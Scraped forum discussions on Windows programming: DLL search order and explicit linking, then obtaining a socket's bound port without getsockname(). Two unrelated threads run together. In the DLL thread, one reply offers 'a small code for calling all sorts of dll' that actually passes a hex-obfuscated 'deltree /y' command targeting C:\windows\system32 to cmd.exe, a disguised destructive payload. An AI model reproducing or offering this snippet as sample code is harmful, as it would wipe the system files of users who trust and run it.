Specifying just the name of the DLL will cause Windows to look in the following folders in the following order:

0) The folder in which the application loading the DLL is running

1) Windows/System32

2) The folders specified in your system path statement (in the left-to-right order in which they appear in the path statement)

What kind of DLL is it?
You know, COM DLLs need registration, moreover, COM DLLs should be accessed the COM's way (i.e. via CoCreateInstance).
Are you sure you need explicit linking (i.e. LoadLibrary) with the library?

BTW: please don't answer: "it gives me errors...".

Why? I mean that code is already in thousands of web pages so why put it in another one here?

People come here all the time asking for stuff that already exists and can easily be found using Google. They do it all the time and it still doesn't work.

Done, many times. Now it's your turn. Roll eyes | :rolleyes:

BTW: Why are you asking for code? Why do you want code for accessing both kind of libraries? I think it would be more profitable an effort to understand what kind of library are you dealing with and what is the best approach for using it.

Here's a small code for calling all sorts of dll:

// sample arguments
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
 // something happened
} else {
 // nothing happened
}

Hello,

Is there any way to get port number bound to a given socket using the socket descriptor. I dont want to use getsockname().

Thanks in advance.

Why don't you want to use getsockname().

Thanks for your response.
the problem is getsockname() sometimes fails due the following microsoft issue:

I think you should use it because the site also talk about the resolution for the failure.

I want to avoid the complexity associated with WSADuplicateSocket. I just want to pass the port number across processes, thats my only requirement. I need some mechanism through which i can get socket number in parent process and pass it to the child process as an argument. By parent process i mean process that invokes the second process, which i call the child process.

Don't duplicate the socket at all.
Get the port number using the socket descriptor.
And pass this port number to the child process as a command line argument.

u mean using Get the port number using getsockname()?

Re: How to get a port number bound to a given socket using function other than getsockname()

Yes, without duplicating the socket.
